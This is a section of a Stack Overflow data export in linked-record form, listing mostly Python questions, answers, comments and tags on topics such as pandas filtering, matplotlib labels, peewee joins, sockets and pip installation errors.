http://stackoverflow.com/comment/81663702
comment on: http://stackoverflow.com/q/47355141
score: 0
type: QuestionComment
has text: If you are working in a Python shell/IDE then you may need to shut it down and restart it to kill off the "zombie" connection.
type: Comment

http://stackoverflow.com/q/47258802
has comment: http://stackoverflow.com/comment/81468521
upvote count: 2
has comment: http://stackoverflow.com/comment/81468205
has title: Smallest range of substring in string
answer count: 3
has answer: http://stackoverflow.com/a/47260660
score: 1
tagged with: string
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81468606
type: Question
has comment: http://stackoverflow.com/comment/81472191
has comment: http://stackoverflow.com/comment/81469499
tagged with: range
tagged with: python
has comment: http://stackoverflow.com/comment/81468911
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47259615
has answer: http://stackoverflow.com/a/47262509
tagged with: substring
has body: I have a string S (with words indexed from 0) and a substring Q. I wish to find the smallest range [L, R] in S which contains all words in Q. There are no duplicate words in Q. How do I approach this ? For example, Input: S: what about the lazy brown fox that jumped over the other brown one which lazy dog ate the food of the fox Q: lazy brown dog Output: [11,15] My code: S = raw_input().strip().split(' ') Q = raw_input().strip().split(' ') count = [0 for x in range(len(Q))] smallest_index = [0 for x in range(len(Q))] largest_index = [0 for x in range(len(Q))] for i in range(len(S)): for j in range(len(Q)): if S[i] == Q[j]: count[j] += 1 if count[j] &lt;= 1: smallest_index[j] = i largest_index[j] = i if count[j] &gt; 1: largest_index[j] = i largest_index.sort() print "[%d," % largest_index[0], print "%d]" % largest_index[len(Q)-1]
has comment: http://stackoverflow.com/comment/81469448

http://stackoverflow.com/q/47290027
linked to: http://stackoverflow.com/q/339007
has answer: http://stackoverflow.com/a/47310552
has answer: http://stackoverflow.com/a/47310519
score: 2
answer count: 2
has comment: http://stackoverflow.com/comment/81530991
upvote count: 2
has body: I have two files with lots of columns and different information about a bunch of objects, that come with object IDs. I need to find matches between the two files, but the object IDs come in two different formats: 12-12-1 in one file will be written as 0012 00012 1 in the other. For instance, in one file I have: 0001 01531 1 0001 01535 1 0001 01538 1 Which corresponds to this in the other: 1-1531-1 1-1535-1 1-1538-1 Something as simple as matches = open('matches.dat','w') for j in range(len(file1)): for i in range(len(file2)): if file1[j] == file2[i]: matches.write('{}/n'.format(file1[j])) doesn't seem to do the trick. file1 and file2 here are lists that contain all the object IDs from the different files. What do I add to my code to find the matches?
downvote count: 0
favorite count: 0
has title: Finding matches in python 3
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81608521
has text: Then the answer from @Tal should be satisfying :)
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/47328758

http://stackoverflow.com/comment/81641014
score: 2
has text: First fix your indentation, then explain what doesn't work...
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47344593

http://stackoverflow.com/q/47335641
type: Question
duplicate of: http://stackoverflow.com/q/6074018
has comment: http://stackoverflow.com/comment/81623105
has comment: http://stackoverflow.com/comment/81623783
answer count: 0
has body: Just today I came accross about this strange behaviour of the in operator in Python (using Python 3.6.3 to be more specific). &gt;&gt;&gt; ':' in '4:2' True &gt;&gt;&gt; ':' in '4:2' != True True &gt;&gt;&gt; (':' in '4:2') != True False &gt;&gt;&gt; ':' in ('4:2' != True) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: argument of type 'bool' is not iterable As it can be seen, ':' in '4:2' is True. Everything normal here. But the strange behaviour appears in the second line: &gt;&gt;&gt; ':' in '4:2' != True True ':' in '4:2' is True, which != True and results in… True? If we group by hand to ensure the precedence: &gt;&gt;&gt; (':' in '4:2') != True False Results in False. True != True is False as expected. Then, how did we get the True before?: &gt;&gt;&gt; ':' in ('4:2' != True) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: argument of type 'bool' is not iterable What's going on?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81623258
tagged with: python
has comment: http://stackoverflow.com/comment/81622919
score: 4
downvote count: 1
has comment: http://stackoverflow.com/comment/81623118
has comment: http://stackoverflow.com/comment/81623203
favorite count: 0
has comment: http://stackoverflow.com/comment/81623445
linked to: http://stackoverflow.com/q/40987185
has comment: http://stackoverflow.com/comment/81622832
has comment: http://stackoverflow.com/comment/81622833
tagged with: operator-keyword
linked to: http://stackoverflow.com/q/6074018
has comment: http://stackoverflow.com/comment/81623862
upvote count: 5
has comment: http://stackoverflow.com/comment/81622920
has title: Strange 'in' operator behaviour in Python
duplicate of: http://stackoverflow.com/q/40987185

build
tags question: http://stackoverflow.com/q/47321964
tag name: build
type: Tag

http://stackoverflow.com/comment/81597967
type: QuestionComment
has text: `>`, `<`, `&` have [special meaning](http://www.tldp.org/LDP/abs/html/io-redirection.html) when it comes to the command line, you need to quote it or escape it for the shell to pass in the character literally to your program.
score: 0
comment on: http://stackoverflow.com/q/47323620
type: Comment

http://stackoverflow.com/comment/81502098
comment on: http://stackoverflow.com/a/47275401
score: 0
has text: FYI, should be `-1`
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81761304
comment on: http://stackoverflow.com/q/47360783
score: 0
has text: Any progress now?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47244225
has comment: http://stackoverflow.com/comment/81457609
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81458229
has body: My intention: Plot some stuff, get the numbers corresponding to the default x-tick labels, and use these to index a list of dates so that I can put those dates in place of the default labels. Imagine I have two lists: my_data = range(30) dates_ls = ['date_str1', 'date_str2', ... , 'date_str30'] I want to plot this data, then replace the x-ticks with the appropriate date from dates_ls, which just means indexing dates_ls with the numbers from the default x-tick labels. EDIT: So, the problem appears to be somehow due to the fact that I'm in a for loop: dates_ls = ['dates_' + str(x+1) for x in range(30)] metrics_ls = ['sessions', 'pageviews'] URL_names = ['URL_1', 'URL_2'] DataDict_final = dict() for name in URL_names: DataDict_final[name] = {metric: [] for metric in metrics_ls} DataDict_final['URL_1']['sessions'] = range(30) # manually define for this example DataDict_final['URL_1']['pageviews'] = range(30) DataDict_final['URL_2']['sessions'] = range(30) DataDict_final['URL_2']['pageviews'] = range(30) for cur_page in URL_names: # plot fig, ax = plt.subplots() for i, cur_metric in enumerate(metrics_ls): data2plot = DataDict_final[cur_page] [cur_metric] ax.plot(data2plot, label=cur_metric) # x and y axis limits and labels ax.set_xlim(0, len(DataDict_final[cur_page] [cur_metric])-1) x_labs1 = [int(label.get_position()[0]) for label in ax.get_xticklabels()] x_labs2 = [dates_ls[x] for x in x_labs1] ax.set_xticklabels(x_labs2, fontsize=8, rotation=45, ha='right') In the above, I'm looping through URL_names and metrics_ls, which are lists of dictionary keys that allow me to get data2plot, which is just a list of numbers. If I highlight and run the code with the for loop it works fine, but if I run the entire loop, producing multiple figures, x_labs1 ends up being a list of 0s, and therefore all my x-tick labels are the same, each one the first item in dates_ls.
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/81455991
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47254143
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81457586
downvote count: 0
tagged with: axis-labels
has answer: http://stackoverflow.com/a/47254143
score: 1
upvote count: 1
has title: Getting default x-tick label text to use as indices to update tick labels with other text
has comment: http://stackoverflow.com/comment/81446282

http://stackoverflow.com/q/47329124
type: UnansweredQuestion
tagged with: android
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/81609238
has comment: http://stackoverflow.com/comment/81609430
tagged with: python
has title: Translate JSON request to Java Google sheet API V4
has body: In google Sheet API guide, I read that a find request (find the cell with value 'X') can be formatted as follows in JSON: { "find": string, "replacement": string, "matchCase": boolean, "matchEntireCell": boolean, "searchByRegex": boolean, "includeFormulas": boolean, // Union field scope can be only one of the following: "range": { object(GridRange) }, "sheetId": number, "allSheets": boolean, // End of list of possible types for union field scope. } requests can be made in the form of this URL https://sheets.googleapis.com/v4/spreadsheets/spreadsheetId ....... But I'm not able to translate that to JAVA code The closest I've found was this code in one of the forums: requests.add(new Request().setFindReplace(new FindReplaceRequest().setFind(entry.getKey()) .setMatchEntireCell(true) .setMatchCase(true) .setReplacement(entry.getValue()) .setRange(new GridRange() .setSheetId(0) .setStartRowIndex(row) .setEndRowIndex(row + 1)))); } String cellReq = (new FindReplaceRequest().setFind("samuel")).getFind(); which lack a response that I expect from the API, letting me know which cell in the sheet has the value I'm trying to find. thanks
has comment: http://stackoverflow.com/comment/81609726
has comment: http://stackoverflow.com/comment/81609664
has comment: http://stackoverflow.com/comment/81613732
has comment: http://stackoverflow.com/comment/81613148
has comment: http://stackoverflow.com/comment/81609385
has comment: http://stackoverflow.com/comment/81609794
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81625279
has answer: http://stackoverflow.com/a/47330057
type: Question
tagged with: google-sheets-api
has comment: http://stackoverflow.com/comment/81608947

http://stackoverflow.com/a/47245248
has body: You could define a function that handles the writing in a single line, but it would just be an encapsulation of what you have already written. def quick_write(file_path, content): with open(file_path, 'w') as fp: fp.write(content) In your code, it would replace the 2 line with-statement: if sorted_alembic_schema != sorted_sqlalchemy_schema: for file_name, file_contents in [...]: quick_write(file_name, file_contents)
score: 0
answers question: http://stackoverflow.com/q/47244975
type: Answer

http://stackoverflow.com/comment/81834665
type: Comment
comment on: http://stackoverflow.com/a/47357296
type: AnswerComment
score: 0
has text: @xyres Could it be you did not realize my question is about Python 3? Because it is and in Python 3 `[*[1, 2]]` is not a syntax error.

http://stackoverflow.com/q/47254975
upvote count: 1
has body: Hello Stackoverflow Community, I have just started working on peewee application and little stuck with join queries. Currently, I have following models setup : class Equipment(BaseModel): equip_id = CharField(primary_key=True) is_fullset = BooleanField(default=False) class Department(BaseModel): dept_id = IntegerField(primary_key=True) dept_name = CharField() class User(BaseModel): email = CharField(primary_key=True) equip_id_fk = ForeignKeyField(Equipment, related_name="equipments", null=True) dept_id_fk = ForeignKeyField(Department, related_name="departments") user_name = CharField() I want to display a view/table that will hold combined information of all the table. I tried doing this like this for User and Equipment (for now) : query = (Equipment.select(Equipment, User).join(User, JOIN.LEFT_OUTER)) Here I get equipment values first and then User. I tried changing User with Equipment and vice versa, but didn't work out well. Basically, I want to display all these three tables into one singular table in this order: User Name || User Email || Dept_ID || Dept_NAME || EQUIP_ID || Is_Fullset Please let me know if I need to change my models or query. Any help would be really appreciated.
answer count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47291625
accepted answer: http://stackoverflow.com/a/47291625
has title: Join Queries in Peewee
tagged with: peewee
tagged with: flask-peewee
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/comment/81699743
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47367064
has text: You cannot easily stop a thread that is started by `start_new_thread()`, however, if you use the Process class from the multiprocessing package, you can call the terminate() method on the process. Have a look at https://docs.python.org/2.7/library/multiprocessing.html#the-process-class

http://stackoverflow.com/a/47240936
has body: The following solution has a linear O(n) complexity where n is the total number of numbers in all lists (after flattening). The code is Python2.x I'm using a bitmap representation (made easy with python's endless numbers) of all the possible patterns. For example if a number is present in list0 and list2 but not list1, the respective pattern will be ...000101. For example in the given input, the value 2 will have the following bitmap pattern: 100111 and so will the value 3 l = [[1,2,3],[6,5,4,3,7,2],[4,3,2,9],[6,7],[5,1,0],[6,3,2,7]] num_to_pattern = {} for i, sublist in enumerate(l): for num in sublist: # turning ON the respective bit for each value if not num in num_to_pattern: num_to_pattern[num] = 1 &lt;&lt; i else: num_to_pattern[num] |= (1 &lt;&lt; i) pattern_to_num_list = {} # mapping patterns to all their respective numbers for num, pattern in num_to_pattern.iteritems(): if not pattern in pattern_to_num_list: pattern_to_num_list[pattern] = [num] else: pattern_to_num_list[pattern].append(num) print pattern_to_num_list This code will print: {4: [9], 6: [4], 39: [2, 3], 42: [6, 7], 16: [0], 17: [1], 18: [5]} And you can map and filter whichever sublists you'd like (in your case - lists equal or larger than 2): print filter(lambda x: len(x) &gt;= 2, pattern_to_num_list.values())
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81443489
type: Answer
answers question: http://stackoverflow.com/q/47240552
has comment: http://stackoverflow.com/comment/81438379
upvote count: 2

http://stackoverflow.com/q/47267473
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49358788
score: 0
has body: I want to create the bot with telepot that ask the users frequent questions. For example first ask 'whats your name.?' then the user reply 'user-name',then ask how old are you? and the user reply his age and ... I had written a code for this chat between user and bot,but sometimes I am getting error. Please guide me how can I make this bot with telepot.? I want to make conversation between bot and users with telepot
has title: How can make conversation between bot and user with telepot
answer count: 1
tagged with: telepot
type: Question

http://stackoverflow.com/comment/81490734
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47269862
has text: The code you posted is only vaguely related to your task. What is `char`? You don't define it anywhere in that code.

http://stackoverflow.com/q/47271843
has body: I programmed a python file that allows you to register (Name, Password, EMail (with Confirmation EMail sent to you with a code)) and after you are registered your data is being saved in a seperate text file now I want python to check when you enter your username whether the username already exists or not. There is this names.txt file and it is just 1Line: Username 2Line: Password 3Line: email adress when you register a new enter code here unt it will show the same below the first account in the txt file. But I want python to check this text file now during your registration whether you can use this username because its not used so far, or if the username already exists and you have to take another one. import smtplib import random random.seed() registrated=False print("") print("Namen Kriterien:") print("-Mindestens 1 Buchstabe") print("-Mindestens 4 Zeichen lang, maximal 20!") print("-'Thats it!'") print("") fehler=1 while fehler==1: try: print("") name=input("Geben Sie Ihren Nutzernamen ein (4-20 Zeichen): ") if len(name) &gt; 20 or len(name) &lt; 4: print("Dein Name entspricht nicht den Kriterien!") else: print("") print("Dein Name ist:",name) print("") fehler2=1 while fehler2==1: try: q1=input("Ist das richtig? (YES | NO): ") q1.upper() if q1=="YES": print("") fehler2=0 fehler=0 elif q1=="NO": print("") fehler2=0 else: print("") print("ERROR") print("") fehler2=1 except: print("") print("ERROR") print("") fehler2=1 except: print("Versuche es nochmal!") fehler=1 print("Herzlichen Glückwunsch, dein Name ist",name) fehler1=1 while fehler1==1: try: print("") pw=input("Bitte gib dein Passwort ein (selbe Kriterien wie der Name): ") if len(pw) &gt; 20 or len(name) &lt; 4: print("Das Passwort entsprcht nicht den Kriterien!") else: pw1=input("Bitte bestätige dein Passwort: ") if pw1==pw: fehler1=0 else: print("") print("DEIN PASSWORT WAR FALSCH, BITTE WIEDERHOLEN!") print("") fehler1=1 except: print("Versuche es nochmal!") fehler1=1 #Mail import smtplib import random fro…
has comment: http://stackoverflow.com/comment/81496568
tagged with: python
has comment: http://stackoverflow.com/comment/81494601
has comment: http://stackoverflow.com/comment/81496715
tagged with: registration
tagged with: text
score: 0
has comment: http://stackoverflow.com/comment/81494678
has comment: http://stackoverflow.com/comment/81496581
answer count: 1
has title: Check seperate text file whether username already exists or not (Python Registration Programm)
tagged with: authentication
type: Question
has answer: http://stackoverflow.com/a/47271984
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81494598
tagged with: file

http://stackoverflow.com/comment/81657893
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47352849
has text: Would it be possible to put e.g. all the European cities in one list. Something like this Aggregate_cities={ ['Thessaloniki , 'Geel', 'Bern', 'Dublin', 'Hanover']:'Europe'}

http://stackoverflow.com/a/47232114
score: 0
answers question: http://stackoverflow.com/q/47232044
has body: Change your method names so they're prefixed with 'test' for the test methods and it should run.
type: Answer

http://stackoverflow.com/q/47243244
downvote count: 0
answer count: 1
upvote count: 1
tagged with: scrapy
has body: The scrapy error I get is: File "/anaconda/lib/python2.7/site-packages/scrapy/http/response/text.py", line 82, in urljoin return urljoin(get_base_url(self), url) File "/anaconda/lib/python2.7/urlparse.py", line 261, in urljoin urlparse(url, bscheme, allow_fragments) File "/anaconda/lib/python2.7/urlparse.py", line 143, in urlparse tuple = urlsplit(url, scheme, allow_fragments) File "/anaconda/lib/python2.7/urlparse.py", line 182, in urlsplit i = url.find(':') AttributeError: 'Selector' object has no attribute 'find' Scrapy traced the call back to this line in my spider: for url in links: link_url = response.urljoin(url) This line is in a generic parse() method. I have ran the exact same syntax many times before and never encountered an error, and wading through the documentation and source code for urllib did not yield anything. Any advice would be greatly appreciated!
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47243976
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81437519
score: 1
has title: AttributeError: 'Selector' object has no attribute 'find' (Scrapy)

http://stackoverflow.com/comment/85335405
type: Comment
type: QuestionComment
has text: I think you interacted cmd when the cmd was running, maybe this can help https://stackoverflow.com/questions/48371993/tqdm-crashes-on-windows-console-upon-accidental-mouse-keyboard-input/48374209#48374209
comment on: http://stackoverflow.com/q/47356993
score: 0

http://stackoverflow.com/q/47302734
tagged with: pandas
answer count: 1
downvote count: 0
has title: Python/Pandas - check if column's values is the same by another column values
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47302762
has answer: http://stackoverflow.com/a/47302762
tagged with: data-analysis
score: 1
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81556495
type: AnsweredQuestion
has body: I have DataFrame like this: product_id dt products_qty stock_qty 0 8225 2017-10-16 12.000 13.000 1 8280 2017-10-16 0.000 11.000 2 8225 2017-10-17 0.000 41.000 3 8280 2017-10-17 7.134 64.698 4 8225 2017-10-18 1.000 8.000 5 8280 2017-10-18 2.728 27.417 6 8225 2017-10-19 0.000 41.000 7 8280 2017-10-19 1.000 -2.000 8 8225 2017-10-20 2.000 -7.000 9 8280 2017-10-20 1.000 25.000 10 8225 2017-10-21 0.000 41.000 11 8280 2017-10-21 0.000 11.000 I have to get all rows where products_qty equals 0 and stock_qty values are the same. So in this case I shoul get DataFrame like this: product_id dt products_qty stock_qty 0 8280 2017-10-16 0.000 11.000 2 8225 2017-10-17 0.000 41.000 6 8225 2017-10-19 0.000 41.000 10 8225 2017-10-21 0.000 41.000 11 8280 2017-10-21 0.000 11.000 Thanks for help!

http://stackoverflow.com/q/47363055
score: 6
linked to: http://stackoverflow.com/q/15560336
upvote count: 6
has title: Python socket listen on all ports
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/81679092
has answer: http://stackoverflow.com/a/47363123
has body: Basically, I want to listen to all ports using the socket module. How do I make it so that port is = to all the open ports on the server? Any guides and or resources are highly appreciated Here is my current code. import socket def Main(): host = '127.0.0.1' port = 5000 s = socket.socket() s.bind((host, port)) s.listen(1) c, addr = s.accept() print('Connection from: ' + str(addr)) while True: data = c.recv(1024) if not data: break print('from connected user: ' + str(data)) data = str(data).upper() print('sending: ' + str(data)) c.send(data) c.close() if __name__ == '__main__': Main()
downvote count: 0
possible better answer: http://stackoverflow.com/a/62441636
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/25135790
accepted answer: http://stackoverflow.com/a/47363123
has answer: http://stackoverflow.com/a/62441636
has comment: http://stackoverflow.com/comment/81679095
tagged with: sockets
tagged with: python
has comment: http://stackoverflow.com/comment/81718920

http://stackoverflow.com/comment/87776873
type: Comment
comment on: http://stackoverflow.com/q/47293151
has text: Would you mind accepting an answer, if it helped you solve the problem?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81646067
comment on: http://stackoverflow.com/a/47345738
type: AnswerComment
score: 0
has text: The code that I mentioned wasn't an official code, it was the one that I've used to pass one of their exercise.
type: Comment

http://stackoverflow.com/comment/81638226
comment on: http://stackoverflow.com/a/47312874
score: 0
type: Comment
has text: I was using tabs instead of four spaces. Thanks
type: AnswerComment

http://stackoverflow.com/comment/81511048
has text: Why on earth are you doing this in a class? That's not necessary in Python. FWIW, I'd be inclined to re-write this code as a generator that yields the subsets, rather than storing them in a list.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47280207
score: 1

http://stackoverflow.com/q/47295878
tagged with: python
has comment: http://stackoverflow.com/comment/81543401
has title: OpenCV3: Why does the mage color doesn't change to B/W?
tagged with: python-3.x
score: 0
linked to: http://stackoverflow.com/q/47297146
answer count: 0
type: UnansweredQuestion
has body: I am doing the erosion example from the OpenCV3 documentation but the color of the image change to purple yellow instead of black and white despite the fact that I changed while reading the image. The default image is also black and white. Though if I don't change the image to black and white it shows correctly. img = cv2.imread('j.png', 0) # 0 for black and white kernel = np.ones((5,5), np.uint8) erosion = cv2.erode(img, kernel, iterations=1) plt.subplot(121), plt.imshow(img), plt.title('Original') plt.xticks([]), plt.yticks([]) plt.subplot(122), plt.imshow(erosion), plt.title('Erosion') plt.xticks([]), plt.yticks([]) plt.show() How it should be How it is
has comment: http://stackoverflow.com/comment/81545463
type: Question
has comment: http://stackoverflow.com/comment/81545601
linked to: http://stackoverflow.com/q/9638826
tagged with: opencv3.0
has comment: http://stackoverflow.com/comment/81543260

http://stackoverflow.com/a/47227902
has comment: http://stackoverflow.com/comment/81515108
has comment: http://stackoverflow.com/comment/81491297
has body: One problem is y_fit = polynomial(y) You must plug in the x values, not y, to get y_fit. Also, you fit log10(y) with log10(x), so to evaluate the linear interpolator, you must plug in log10(x), and the result will be the base-10 log of the y values. Here's a modified version of your script, followed by the plot it generates. import numpy as np import matplotlib.pyplot as plt import random x = np.linspace(1,100,10) y = np.log10(x) + np.log10(np.random.uniform(0,10)) coefficients = np.polyfit(np.log10(x), np.log10(y), 1) polynomial = np.poly1d(coefficients) log10_y_fit = polynomial(np.log10(x)) # &lt;-- Changed plt.plot(x, y, 'o-') plt.plot(x, 10**log10_y_fit, '*-') # &lt;-- Changed plt.yscale('log') plt.xscale('log')
score: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47226600
upvote count: 1
has comment: http://stackoverflow.com/comment/81474144
answers question: http://stackoverflow.com/q/47226600
type: Answer

http://stackoverflow.com/comment/81536634
comment on: http://stackoverflow.com/q/47291668
type: Comment
score: 0
type: QuestionComment
has text: I'm not sure what your looking for here. Your line x = x.convert('L') will convert your image to greyscale. The colour information is lost and no amount of processing will get it back. Unless you're asking about Tone mapping?

selenium
tags question: http://stackoverflow.com/q/47343091
tags question: http://stackoverflow.com/q/47244539
tags question: http://stackoverflow.com/q/47237662
tags question: http://stackoverflow.com/q/47258636
tags question: http://stackoverflow.com/q/47342130
tags question: http://stackoverflow.com/q/47374718
tags question: http://stackoverflow.com/q/47224293
tags question: http://stackoverflow.com/q/47344431
tags question: http://stackoverflow.com/q/47377323
tags question: http://stackoverflow.com/q/47251939
tags question: http://stackoverflow.com/q/47321897
tags question: http://stackoverflow.com/q/47346585
tags question: http://stackoverflow.com/q/47369353
tags question: http://stackoverflow.com/q/47379419
tags question: http://stackoverflow.com/q/47319965
tags question: http://stackoverflow.com/q/47378429
tags question: http://stackoverflow.com/q/47315871
tags question: http://stackoverflow.com/q/47343778
tags question: http://stackoverflow.com/q/47362836
tags question: http://stackoverflow.com/q/47299851
tags question: http://stackoverflow.com/q/47278990
tags question: http://stackoverflow.com/q/47274852
tags question: http://stackoverflow.com/q/47291713
tags question: http://stackoverflow.com/q/47266163
tags question: http://stackoverflow.com/q/47283378
tags question: http://stackoverflow.com/q/47259285
tags question: http://stackoverflow.com/q/47232532
tags question: http://stackoverflow.com/q/47324062
tags question: http://stackoverflow.com/q/47378139
tags question: http://stackoverflow.com/q/47353143
tags question: http://stackoverflow.com/q/47255897
tags question: http://stackoverflow.com/q/47249937
tags question: http://stackoverflow.com/q/47358334
tags question: http://stackoverflow.com/q/47374913
tags question: http://stackoverflow.com/q/47240475
tags question: http://stackoverflow.com/q/47271454
tags question: http://stackoverflow.com/q/47354209
tags question: http://stackoverflow.com/q/47312492
tags question: http://stackoverflow.com/q/47382198
tags question: http://stackoverflow.com/q/47233385
tags question: http://stackoverflow.com/q/47248017
tags question: http://stackoverflow.com/q/47233469
tags question: http://stackoverflow.com/q/47296553
tags question: http://stackoverflow.com/q/47306457
tags question: http://stackoverflow.com/q/47326966
tags question: http://stackoverflow.com/q/47328647
tags question: http://stackoverflow.com/q/47254679
tags question: http://stackoverflow.com/q/47250991
tags question: http://stackoverflow.com/q/47276983
tags question: http://stackoverflow.com/q/47341414
tags question: http://stackoverflow.com/q/47345432
tags question: http://stackoverflow.com/q/47236070
tags question: http://stackoverflow.com/q/47240801
tags question: http://stackoverflow.com/q/47288228
tags question: http://stackoverflow.com/q/47362057
tags question: http://stackoverflow.com/q/47263032
tags question: http://stackoverflow.com/q/47223844
tags question: http://stackoverflow.com/q/47243498
tags question: http://stackoverflow.com/q/47343236
tags question: http://stackoverflow.com/q/47300147
tags question: http://stackoverflow.com/q/47354805
tags question: http://stackoverflow.com/q/47316810
tags question: http://stackoverflow.com/q/47281693
tags question: http://stackoverflow.com/q/47250123
type: Tag
tags question: http://stackoverflow.com/q/47351397
tags question: http://stackoverflow.com/q/47305972
tags question: http://stackoverflow.com/q/47232083
tags question: http://stackoverflow.com/q/47332482
tags question: http://stackoverflow.com/q/47277655
tags question: http://stackoverflow.com/q/47249979
tag name: selenium
tags question: http://stackoverflow.com/q/47236652
tags question: http://stackoverflow.com/q/47315766
tags question: http://stackoverflow.com/q/47378444
tags question: http://stackoverflow.com/q/47380007
tags question: http://stackoverflow.com/q/47247795
tags question: http://stackoverflow.com/q/47375791
tags question: http://stackoverflow.com/q/47325185
tags question: http://stackoverflow.com/q/47256089

http://stackoverflow.com/comment/82889951
score: 0
comment on: http://stackoverflow.com/q/47374913
has text: Chrome headless doesn't allow extensions, so thats what you are seeing here. It is a limitation of chrome headless itself. Selenium can't do anything about it
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81498112
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47273297
has text: The last paragraph of the top voted answer says *"To summarize, views are simply… views (windows) on your dictionary, which show the contents of the dictionary even after it changes"*. Does this not answer your question?
type: Comment

http://stackoverflow.com/a/47281783
accepted answer of: http://stackoverflow.com/q/47281687
score: 11
upvote count: 11
answers question: http://stackoverflow.com/q/47281687
downvote count: 0
type: AcceptedAnswer
has body: It generally is recommended to use COPY before ADD, because it serves a lesser purpose and is somewhat more lightweight. To copy your whole directory into the image, just add the following line after editing: COPY . /path/to/dir/in/image Some helpful links to start writing dockerfiles: Reference Best Practices Postgresql example
type: Answer

laravel
tags question: http://stackoverflow.com/q/47311068
type: Tag
tag name: laravel

http://stackoverflow.com/q/47328075
has answer: http://stackoverflow.com/a/47328141
accepted answer: http://stackoverflow.com/a/47328141
score: 2
upvote count: 2
type: AnsweredQuestion
tagged with: printing
has title: "a bytes-like object is required" but I am using bytes
downvote count: 0
has body: With Python3 I have re-opened stdout in binary mode. After that when I print("Hello") it tells me that I need to use a bytes-like object. Fair enough, it's in binary mode now. However when I do this: print(b"Some bytes") I still get this error: TypeError: a bytes-like object is required, not 'str' What's up with that?
answer count: 1
tagged with: bytesio
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: python

http://stackoverflow.com/q/47224207
answer count: 1
accepted answer: http://stackoverflow.com/a/47224295
type: Question
has answer: http://stackoverflow.com/a/47224295
tagged with: python
has body: I tried to install pandas on python using 3.6 version from command line py -3.6 -m pip install pandas C:\Users\mnperezp\Pythonpandas>py -3.6 -m pip install pandas Collecting pandas Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connec tion broken by 'ConnectTimeoutError(&lt;pip._vendor.requests.packages.urllib3.conne ction.VerifiedHTTPSConnection object at 0x03F7E390&gt;, 'Connection to pypi.python. org timed out. (connect timeout=15)')': /simple/pandas/ Retrying (Retry(total=3, connect=None, read=None, redirect=None)) after connec tion broken by 'ConnectTimeoutError(&lt;pip._vendor.requests.packages.urllib3.conne ction.VerifiedHTTPSConnection object at 0x03F7E910&gt;, 'Connection to pypi.python. org timed out. (connect timeout=15)')': /simple/pandas/ Retrying (Retry(total=2, connect=None, read=None, redirect=None)) after connec tion broken by 'ConnectTimeoutError(&lt;pip._vendor.requests.packages.urllib3.conne ction.VerifiedHTTPSConnection object at 0x03F7E770&gt;, 'Connection to pypi.python. org timed out. (connect timeout=15)')': /simple/pandas/ Retrying (Retry(total=1, connect=None, read=None, redirect=None)) after connec tion broken by 'ConnectTimeoutError(&lt;pip._vendor.requests.packages.urllib3.conne ction.VerifiedHTTPSConnection object at 0x03F7EE50&gt;, 'Connection to pypi.python. org timed out. (connect timeout=15)')': /simple/pandas/ Retrying (Retry(total=0, connect=None, read=None, redirect=None)) after connec tion broken by 'ConnectTimeoutError(&lt;pip._vendor.requests.packages.urllib3.conne ction.VerifiedHTTPSConnection object at 0x03F7E4F0&gt;, 'Connection to pypi.python. org timed out. (connect timeout=15)')': /simple/pandas/ Could not find a version that satisfies the requirement pandas (from versions: ) No matching distribution found for pandas Then, i tried to store Pandas in the same location where i have python 3.6 and run. I did go to the right directory where the python.exe and pandas-0.21.0-cp36-cp36m-manylinux1_x86_…
has title: Unable to install python pandas in company environment. Any way to bypass?
type: AnsweredQuestion
tagged with: python-2.7
score: 0
tagged with: pandas

http://stackoverflow.com/a/47360223
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47359975
has body: You simply need to swap the order in which the plt.show() appears and the plt.savefig('barchart.png') plt.savefig('barchart.png') plt.show() The reason that plt.savefig doesn't work after calling show is that the current figure has been reset. Source: https://stackoverflow.com/a/21884187/1577947
answers question: http://stackoverflow.com/q/47359975
type: Answer
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/81491786
comment on: http://stackoverflow.com/a/47270279
score: 1
type: Comment
has text: I think .get was one of the hints that was given a while back for stuff like this, so it most likely is the way that it should be done. Thanks!
type: AnswerComment

http://stackoverflow.com/comment/81698865
type: QuestionComment
has text: it's a csv file with thousands of items
score: 0
comment on: http://stackoverflow.com/q/47372973
type: Comment

http://stackoverflow.com/comment/81440593
